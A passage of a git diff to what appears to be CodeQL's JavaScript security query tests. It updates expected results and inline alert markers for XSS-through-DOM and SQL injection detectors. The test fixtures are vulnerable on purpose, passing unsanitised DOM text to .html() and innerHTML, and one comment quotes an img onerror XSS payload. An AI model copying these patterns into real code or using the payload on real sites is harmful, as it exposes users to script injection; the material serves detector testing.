-| angular.ts:29:24:29:37 | form.value.foo | angular.ts:29:24:29:33 | form.value | angular.ts:29:24:29:37 | form.value.foo | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:29:24:29:33 | form.value | DOM text |
-| angular.ts:33:24:33:33 | this.field | angular.ts:12:5:12:23 | field: string = ""; | angular.ts:33:24:33:33 | this.field | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:12:5:12:23 | field: string = ""; | DOM text |
-| forms.js:9:31:9:40 | values.foo | forms.js:8:23:8:28 | values | forms.js:9:31:9:40 | values.foo | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:8:23:8:28 | values | DOM text |
-| forms.js:12:31:12:40 | values.bar | forms.js:11:24:11:29 | values | forms.js:12:31:12:40 | values.bar | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:11:24:11:29 | values | DOM text |
-| forms.js:25:23:25:34 | values.email | forms.js:24:15:24:20 | values | forms.js:25:23:25:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:24:15:24:20 | values | DOM text |
-| forms.js:29:23:29:34 | values.email | forms.js:28:20:28:25 | values | forms.js:29:23:29:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:28:20:28:25 | values | DOM text |
-| forms.js:35:19:35:30 | values.email | forms.js:34:13:34:18 | values | forms.js:35:19:35:30 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:34:13:34:18 | values | DOM text |
-| forms.js:45:21:45:33 | values.stooge | forms.js:44:21:44:26 | values | forms.js:45:21:45:33 | values.stooge | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:44:21:44:26 | values | DOM text |
-| forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:57:19:57:32 | e.target.value | DOM text |
-| forms.js:72:19:72:27 | data.name | forms.js:71:21:71:24 | data | forms.js:72:19:72:27 | data.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:71:21:71:24 | data | DOM text |
-| forms.js:93:25:93:35 | values.name | forms.js:92:26:92:36 | getValues() | forms.js:93:25:93:35 | values.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:92:26:92:36 | getValues() | DOM text |
-| forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:103:23:103:36 | e.target.value | DOM text |
-| forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:107:23:107:36 | e.target.value | DOM text |
-| xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text |
-| xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text |
-| xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text |
-| xss-through-dom.js:11:3:11:42 | documen ... nerText | xss-through-dom.js:11:3:11:42 | documen ... nerText | xss-through-dom.js:11:3:11:42 | documen ... nerText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:11:3:11:42 | documen ... nerText | DOM text |
-| xss-through-dom.js:19:3:19:44 | documen ... Content | xss-through-dom.js:19:3:19:44 | documen ... Content | xss-through-dom.js:19:3:19:44 | documen ... Content | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:19:3:19:44 | documen ... Content | DOM text |
-| xss-through-dom.js:23:3:23:48 | documen ... ].value | xss-through-dom.js:23:3:23:48 | documen ... ].value | xss-through-dom.js:23:3:23:48 | documen ... ].value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:23:3:23:48 | documen ... ].value | DOM text |
-| xss-through-dom.js:27:3:27:61 | documen ... arget') | xss-through-dom.js:27:3:27:61 | documen ... arget') | xss-through-dom.js:27:3:27:61 | documen ... arget') | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:27:3:27:61 | documen ... arget') | DOM text |
-| xss-through-dom.js:51:30:51:48 | $("textarea").val() | xss-through-dom.js:51:30:51:48 | $("textarea").val() | xss-through-dom.js:51:30:51:48 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:51:30:51:48 | $("textarea").val() | DOM text |
-| xss-through-dom.js:54:31:54:49 | $("textarea").val() | xss-through-dom.js:54:31:54:49 | $("textarea").val() | xss-through-dom.js:54:31:54:49 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:54:31:54:49 | $("textarea").val() | DOM text |
-| xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | DOM text |
-| xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | DOM text |
-| xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:61:30:61:69 | $(docum ... value") | DOM text |
-| xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:64:30:64:40 | valMethod() | DOM text |
-| xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | DOM text |
-| xss-through-dom.js:77:4:77:11 | selector | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:77:4:77:11 | selector | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | DOM text |
-| xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:79:4:79:34 | documen ... t.value | DOM text |
-| xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | DOM text |
-| xss-through-dom.js:86:16:86:37 | anser.a ... l(text) | xss-through-dom.js:84:15:84:30 | $("text").text() | xss-through-dom.js:86:16:86:37 | anser.a ... l(text) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:84:15:84:30 | $("text").text() | DOM text |
-| xss-through-dom.js:87:16:87:40 | new ans ... s(text) | xss-through-dom.js:84:15:84:30 | $("text").text() | xss-through-dom.js:87:16:87:40 | new ans ... s(text) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:84:15:84:30 | $("text").text() | DOM text |
-| xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | DOM text |
-| xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | DOM text |
-| xss-through-dom.js:109:31:109:70 | "<a src ... oo</a>" | xss-through-dom.js:109:45:109:55 | this.el.src | xss-through-dom.js:109:31:109:70 | "<a src ... oo</a>" | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:109:45:109:55 | this.el.src | DOM text |
-| xss-through-dom.js:115:16:115:18 | src | xss-through-dom.js:114:17:114:52 | documen ... k").src | xss-through-dom.js:115:16:115:18 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:114:17:114:52 | documen ... k").src | DOM text |
-| xss-through-dom.js:120:23:120:45 | ev.targ ... 0].name | xss-through-dom.js:120:23:120:37 | ev.target.files | xss-through-dom.js:120:23:120:45 | ev.targ ... 0].name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:120:23:120:37 | ev.target.files | DOM text |
-| xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) | xss-through-dom.js:122:53:122:67 | ev.target.files | xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:122:53:122:67 | ev.target.files | DOM text |
-| xss-through-dom.js:131:19:131:26 | linkText | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:131:19:131:26 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | DOM text |
-| xss-through-dom.js:131:19:131:26 | linkText | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:131:19:131:26 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | DOM text |
-| xss-through-dom.js:132:16:132:23 | linkText | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:132:16:132:23 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | DOM text |
-| xss-through-dom.js:132:16:132:23 | linkText | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:132:16:132:23 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | DOM text |
-| xss-through-dom.js:140:19:140:21 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:140:19:140:21 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
-| xss-through-dom.js:141:25:141:27 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:141:25:141:27 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
-| xss-through-dom.js:150:24:150:26 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:150:24:150:26 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
-| xss-through-dom.js:155:27:155:29 | msg | xss-through-dom.js:159:34:159:52 | $("textarea").val() | xss-through-dom.js:155:27:155:29 | msg | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:159:34:159:52 | $("textarea").val() | DOM text |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.qlref b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.qlref
index 3226decda378..30db379de212 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.qlref
@@ -1 +1,2 @@
-Security/CWE-079/XssThroughDom.ql
+query: Security/CWE-079/XssThroughDom.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/angular.ts b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/angular.ts
index 15207cb5059c..084950e8e08e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/angular.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/angular.ts
@@ -9,28 +9,28 @@ import { NgForm } from "@angular/forms";
     `
 })
 export class Foo {
-    field: string = "";
+    field: string = ""; // $ Source
     safeField: string = "";
 
     setInput1(event) {
-        document.write(event.target.value); // NOT OK
+        document.write(event.target.value); // $ Alert
     }
 
     setInput2(target) {
-        document.write(target.value); // NOT OK
+        document.write(target.value); // $ Alert
     }
 
     setOtherInput(e) {
-        document.write(e.target.value); // OK
-        document.write(e.value); // OK
+        document.write(e.target.value);
+        document.write(e.value);
     }
 
     blah(form: NgForm) {
-        document.write(form.value.foo); // NOT OK
+        document.write(form.value.foo); // $ Alert
     }
 
     useField() {
-        document.write(this.field); // NOT OK
-        document.write(this.safeField); // OK
+        document.write(this.field); // $ Alert
+        document.write(this.safeField);
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js
index b91b7490bb2d..e57ef84dc429 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js
@@ -5,11 +5,11 @@ const FormikBasic = () => (
     <div>
         <Formik
             initialValues={{ email: '', password: '' }}
-            validate={values => {
-                $("#id").html(values.foo); // NOT OK
+            validate={values => { // $ Source
+                $("#id").html(values.foo); // $ Alert
             }}
-            onSubmit={(values, { setSubmitting }) => {
-                $("#id").html(values.bar); // NOT OK
+            onSubmit={(values, { setSubmitting }) => { // $ Source
+                $("#id").html(values.bar); // $ Alert
             }}
         >
             {(inputs) => (
@@ -21,28 +21,28 @@ const FormikBasic = () => (
 
 const FormikEnhanced = withFormik({
     mapPropsToValues: () => ({ name: '' }),
-    validate: values => {
-        $("#id").html(values.email); // NOT OK
+    validate: values => { // $ Source
+        $("#id").html(values.email); // $ Alert
     },
 
-    handleSubmit: (values, { setSubmitting }) => {
-        $("#id").html(values.email); // NOT OK
+    handleSubmit: (values, { setSubmitting }) => { // $ Source
+        $("#id").html(values.email); // $ Alert
     }
 })(MyForm);
 
 (function () {
-    const { values, submitForm } = useFormikContext();
-    $("#id").html(values.email); // NOT OK
+    const { values, submitForm } = useFormikContext(); // $ Source
+    $("#id").html(values.email); // $ Alert
 
-    $("#id").html(submitForm.email); // OK 
+    $("#id").html(submitForm.email);
 })
 
 import { Form } from 'react-final-form'
 
 const App = () => (
   <Form
-    onSubmit={async values => {
-      $("#id").html(values.stooge); // NOT OK
+    onSubmit={async values => { // $ Source
+      $("#id").html(values.stooge); // $ Alert
     }}
     initialValues={{ stooge: 'larry', employed: false }}
     render={({ handleSubmit, form, submitting, pristine, values }) => (
@@ -54,7 +54,7 @@ const App = () => (
 );
 
 function plainSubmit(e) {
-    $("#id").html(e.target.value); // NOT OK
+    $("#id").html(e.target.value); // $ Alert
 }
 
 const plainReact = () => (
@@ -68,8 +68,8 @@ import { useForm } from 'react-hook-form';
 
 function HookForm() {
   const { register, handleSubmit, errors } = useForm(); // initialize the hook
-  const onSubmit = (data) => {
-    $("#id").html(data.name); // NOT OK 
+  const onSubmit = (data) => { // $ Source
+    $("#id").html(data.name); // $ Alert
   };
 
   return (
@@ -89,8 +89,8 @@ function HookForm2() {
       <button
         type="button"
         onClick={() => {
-          const values = getValues(); // { test: "test-input", test1: "test1-input" }
-          $("#id").html(values.name); // NOT OK
+          const values = getValues(); // $ Source - { test: "test-input", test1: "test1-input" }
+          $("#id").html(values.name); // $ Alert
         }}
       >
       </button>
@@ -100,10 +100,10 @@ function HookForm2() {
 
 function vanillaJS() {
     document.querySelector("form.myform").addEventListener("submit", e => {
-        $("#id").html(e.target.value); // NOT OK
+        $("#id").html(e.target.value); // $ Alert
     });
 
     document.querySelector("form.myform").onsubmit = function (e) {
-        $("#id").html(e.target.value); // NOT OK
+        $("#id").html(e.target.value); // $ Alert
     }
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js
index 354194a597d9..8082f8ef0ab9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js
@@ -1,35 +1,35 @@
 (function () {
-	$("#id").html($("textarea").val()); // NOT OK.
+	$("#id").html($("textarea").val()); // $ Alert
 	
-	$("#id").html($(".some-element").text()); // NOT OK.
+	$("#id").html($(".some-element").text()); // $ Alert
 	
-	$("#id").html($(".some-element").attr("foo", "bar")); // OK.
-	$("#id").html($(".some-element").attr({"foo": "bar"})); // OK.
-	$("#id").html($(".some-element").attr("data-target")); // NOT OK.
+	$("#id").html($(".some-element").attr("foo", "bar"));
+	$("#id").html($(".some-element").attr({"foo": "bar"}));
+	$("#id").html($(".some-element").attr("data-target")); // $ Alert
 	
 	$("#id").html(
-		document.getElementById("foo").innerText // NOT OK.	
+		document.getElementById("foo").innerText // $ Alert
 	);
 	
 	$("#id").html(
-		document.getElementById("foo").innerHTML // OK - only repeats existing XSS. 	
+		document.getElementById("foo").innerHTML // OK - only repeats existing XSS.
 	);
 	
 	$("#id").html(
-		document.getElementById("foo").textContent // NOT OK. 	
+		document.getElementById("foo").textContent // $ Alert
 	);
 	
 	$("#id").html(
-		document.querySelectorAll("textarea")[0].value // NOT OK. 	
+		document.querySelectorAll("textarea")[0].value // $ Alert
 	);
 	
 	$("#id").html(
-		document.getElementById('div1').getAttribute('data-target') // NOT OK
+		document.getElementById('div1').getAttribute('data-target') // $ Alert
 	);
 	
 	function safe1(x) { // overloaded function. 
 		if (x.jquery) {
-			var foo = $(x); // OK
+			var foo = $(x);
 		}
 		 	
 	}
@@ -37,7 +37,7 @@
 	
 	function safe2(x) { // overloaded function. 
 		if (typeof x === "object") {
-			var foo = $(x); // OK
+			var foo = $(x);
 		} 	
 	}
 	safe2($("textarea").val());
@@ -48,52 +48,52 @@
 	);
 	
 	
-	$("#id").get(0).innerHTML = $("textarea").val(); // NOT OK.
+	$("#id").get(0).innerHTML = $("textarea").val(); // $ Alert
 	
 	var base = $("#id");
-	base[html ? 'html' : 'text']($("textarea").val()); // NOT OK.
+	base[html ? 'html' : 'text']($("textarea").val()); // $ Alert
 	
-	$("#id").get(0).innerHTML = $("input").get(0).name; // NOT OK.
-	$("#id").get(0).innerHTML = $("input").get(0).getAttribute("name"); // NOT OK.
+	$("#id").get(0).innerHTML = $("input").get(0).name; // $ Alert
+	$("#id").get(0).innerHTML = $("input").get(0).getAttribute("name"); // $ Alert
 	
-	$("#id").get(0).innerHTML = $("input").getAttribute("id"); // OK.
+	$("#id").get(0).innerHTML = $("input").getAttribute("id");
 	
-	$("#id").get(0).innerHTML = $(document).find("option").attr("value"); // NOT OK.
+	$("#id").get(0).innerHTML = $(document).find("option").attr("value"); // $ Alert
 	
 	var valMethod = $("textarea").val;
-	$("#id").get(0).innerHTML = valMethod(); // NOT OK
+	$("#id").get(0).innerHTML = valMethod(); // $ Alert
 	
 	var myValue = $(document).find("option").attr("value");
 	if(myValue.property) {
-		$("#id").get(0).innerHTML = myValue; // OK.
+		$("#id").get(0).innerHTML = myValue;
 	}
 	
-	$.jGrowl($("input").get(0).name); // NOT OK.
+	$.jGrowl($("input").get(0).name); // $ Alert
 	
-    let selector = $("input").get(0).name;
+    let selector = $("input").get(0).name; // $ Source
     if (something()) {
         selector = $("textarea").val || ''
     }
-	$(selector); // NOT OK
+	$(selector); // $ Alert
 	
-	$(document.my_form.my_input.value); // NOT OK
+	$(document.my_form.my_input.value); // $ Alert
 
-	$("#id").html( $('#foo').prop('innerText') ); // NOT OK
+	$("#id").html( $('#foo').prop('innerText') ); // $ Alert
 
 	const anser = require("anser");
-	const text = $("text").text();
+	const text = $("text").text(); // $ Source
 
-	$("#id").html(anser.ansiToHtml(text)); // NOT OK
-	$("#id").html(new anser().process(text)); // NOT OK
+	$("#id").html(anser.ansiToHtml(text)); // $ Alert
+	$("#id").html(new anser().process(text)); // $ Alert
 	
 	$("section h1").each(function(){
-		$("nav ul").append("<a href='#" + $(this).text().toLowerCase().replace(/ /g, '-').replace(/[^\w-]+/g,'') + "'>Section</a>"); // OK
+		$("nav ul").append("<a href='#" + $(this).text().toLowerCase().replace(/ /g, '-').replace(/[^\w-]+/g,'') + "'>Section</a>");
 	});
 
-	$("#id").html($("#foo").find(".bla")[0].value); // NOT OK.
+	$("#id").html($("#foo").find(".bla")[0].value); // $ Alert
 
 	for (var i = 0; i < foo.length; i++) {
-		$("#id").html($("#foo").find(".bla")[i].value); // NOT OK.
+		$("#id").html($("#foo").find(".bla")[i].value); // $ Alert
 	}
 })();
 
@@ -106,20 +106,20 @@ class Super {
 class Sub extends Super {
 	constructor() {
 		super();
-		$("#id").get(0).innerHTML = "<a src=\"" + this.el.src + "\">foo</a>"; // NOT OK. Attack: `<mytag id="id" src="x:&quot;&gt;&lt;img src=1 onerror=&quot;alert(1)&quot;&gt;" />`
+		$("#id").get(0).innerHTML = "<a src=\"" + this.el.src + "\">foo</a>"; // $ Alert - Attack: `<mytag id="id" src="x:&quot;&gt;&lt;img src=1 onerror=&quot;alert(1)&quot;&gt;" />`
 	}
 }
 
 (function () {
-    const src = document.getElementById("#link").src;
-	$("#id").html(src); // NOT OK.
+    const src = document.getElementById("#link").src; // $ Source
+	$("#id").html(src); // $ Alert
 
-    $("#id").attr("src", src); // OK
+    $("#id").attr("src", src);
 
     $("input.foo")[0].onchange = function (ev) {
-        $("#id").html(ev.target.files[0].name); // NOT OK.
+        $("#id").html(ev.target.files[0].name); // $ Alert
 
-        $("img#id").attr("src", URL.createObjectURL(ev.target.files[0])); // NOT OK
+        $("img#id").attr("src", URL.createObjectURL(ev.target.files[0])); // $ Alert
     }
 })();
 
@@ -127,36 +127,36 @@ class Sub extends Super {
 	let elem = document.createElement('a');
 	const wSelection = getSelection();
 	const dSelection = document.getSelection();
-	let linkText = wSelection.toString() || dSelection.toString() || '';
-	elem.innerHTML = linkText; // NOT OK
-	$("#id").html(linkText); // NOT OK
-	elem.innerText = linkText; // OK
+	let linkText = wSelection.toString() || dSelection.toString() || ''; // $ Source
+	elem.innerHTML = linkText; // $ Alert
+	$("#id").html(linkText); // $ Alert
+	elem.innerText = linkText;
 })();
 
 const cashDom = require("cash-dom");
 
 (function () {
-    const src = document.getElementById("#link").src;
-	cash("#id").html(src); // NOT OK.
-    cashDom("#id").html(src); // NOT OK
+    const src = document.getElementById("#link").src; // $ Source
+	cash("#id").html(src); // $ Alert
+    cashDom("#id").html(src); // $ Alert
 
     var DOMPurify = {
         sanitize: function (src) {
             return src; // to model spuriously finding an edge. The below is still OK.
         }
     };
-    cashDom("#id").html(DOMPurify ? DOMPurify.sanitize(src) : src); // OK
+    cashDom("#id").html(DOMPurify ? DOMPurify.sanitize(src) : src);
 
-    $("<a />", { html: src }).appendTo("#id"); // NOT OK
+    $("<a />", { html: src }).appendTo("#id"); // $ Alert
 
     function foo() {
       window.VeryUniqueXssTestName = {
         send: function (msg) {
-            $("#id").html(msg); // NOT OK
+            $("#id").html(msg); // $ Alert
         },
       };
     
-      VeryUniqueXssTestName.send($("textarea").val());
+      VeryUniqueXssTestName.send($("textarea").val()); // $ Source
     }
     foo()
 })();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.expected
index 3a4a7ef0481c..b6710ee92f5a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.expected
@@ -1,12 +1,12 @@
+#select
+| test.js:7:14:7:61 | 'SELECT ...  + temp | test.js:4:12:4:22 | process.env | test.js:7:14:7:61 | 'SELECT ...  + temp | This query string depends on a $@. | test.js:4:12:4:22 | process.env | user-provided value |
+edges
+| test.js:4:5:4:29 | temp | test.js:7:58:7:61 | temp | provenance |  |
+| test.js:4:12:4:22 | process.env | test.js:4:5:4:29 | temp | provenance |  |
+| test.js:7:58:7:61 | temp | test.js:7:14:7:61 | 'SELECT ...  + temp | provenance |  |
 nodes
 | test.js:4:5:4:29 | temp | semmle.label | temp |
 | test.js:4:12:4:22 | process.env | semmle.label | process.env |
 | test.js:7:14:7:61 | 'SELECT ...  + temp | semmle.label | 'SELECT ...  + temp |
 | test.js:7:58:7:61 | temp | semmle.label | temp |
-edges
-| test.js:4:5:4:29 | temp | test.js:7:58:7:61 | temp | provenance |  |
-| test.js:4:12:4:22 | process.env | test.js:4:5:4:29 | temp | provenance |  |
-| test.js:7:58:7:61 | temp | test.js:7:14:7:61 | 'SELECT ...  + temp | provenance |  |
 subpaths
-#select
-| test.js:7:14:7:61 | 'SELECT ...  + temp | test.js:4:12:4:22 | process.env | test.js:7:14:7:61 | 'SELECT ...  + temp | This query string depends on a $@. | test.js:4:12:4:22 | process.env | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.qlref
index d1d02cbe8d37..444c0e5f46aa 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/SqlInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-089/SqlInjection.ql
+query: Security/CWE-089/SqlInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/test.js b/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/test.js
index 42b11b27b6eb..517a492e656b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/test.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/local-threat-source/test.js
@@ -1,9 +1,9 @@
 const mysql = require('mysql');
 const pool = mysql.createPool(getConfig());
 
-let temp = process.env['foo'];
+let temp = process.env['foo']; // $ Source
 pool.getConnection(function(err, connection) {
     connection.query({
-        sql: 'SELECT * FROM `books` WHERE `author` = ' + temp, // NOT OK
+        sql: 'SELECT * FROM `books` WHERE `author` = ' + temp, // $ Alert
     }, function(error, results, fields) {});
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.expected
index 5446a4da85a5..b0ae2737b003 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-089/typed/SqlInjection.expected
@@ -1,3 +1,20 @@
+#select
+| typedClient.ts:14:24:14:32 | { id: v } | typedClient.ts:13:22:13:29 | req.body | typedClient.ts:14:24:14:32 | { id: v } | This query object depends on a $@. | typedClient.ts:13:22:13:29 | req.body | user-provided value |
+| typedClient.ts:22:27:22:35 | { id: v } | typedClient.ts:21:22:21:29 | req.body | typedClient.ts:22:27:22:35 | { id: v } | This query object depends on a $@. | typedClient.ts:21:22:21:29 | req.body | user-provided value |
+| typedClient.ts:23:27:23:35 | { id: v } | typedClient.ts:21:22:21:29 | req.body | typedClient.ts:23:27:23:35 | { id: v } | This query object depends on a $@. | typedClient.ts:21:22:21:29 | req.body | user-provided value |
+edges
+| typedClient.ts:13:7:13:32 | v | typedClient.ts:14:30:14:30 | v | provenance |  |
+| typedClient.ts:13:11:13:32 | JSON.pa ... body.x) | typedClient.ts:13:7:13:32 | v | provenance |  |
+| typedClient.ts:13:22:13:29 | req.body | typedClient.ts:13:22:13:31 | req.body.x | provenance | Config |
+| typedClient.ts:13:22:13:31 | req.body.x | typedClient.ts:13:11:13:32 | JSON.pa ... body.x) | provenance | Config |
+| typedClient.ts:14:30:14:30 | v | typedClient.ts:14:24:14:32 | { id: v } | provenance | Config |
+| typedClient.ts:21:7:21:32 | v | typedClient.ts:22:33:22:33 | v | provenance |  |
+| typedClient.ts:21:7:21:32 | v | typedClient.ts:23:33:23:33 | v | provenance |  |
+| typedClient.ts:21:11:21:32 | JSON.pa ... body.x) | typedClient.ts:21:7:21:32 | v | provenance |  |
+| typedClient.ts:21:22:21:29 | req.body | typedClient.ts:21:22:21:31 | req.body.x | provenance | Config |
+| typedClient.ts:21:22:21:31 | req.body.x | typedClient.ts:21:11:21:32 | JSON.pa ... body.x) | provenance | Config |
+| typedClient.ts:22:33:22:33 | v | typedClient.ts:22:27:22:35 | { id: v } | provenance | Config |
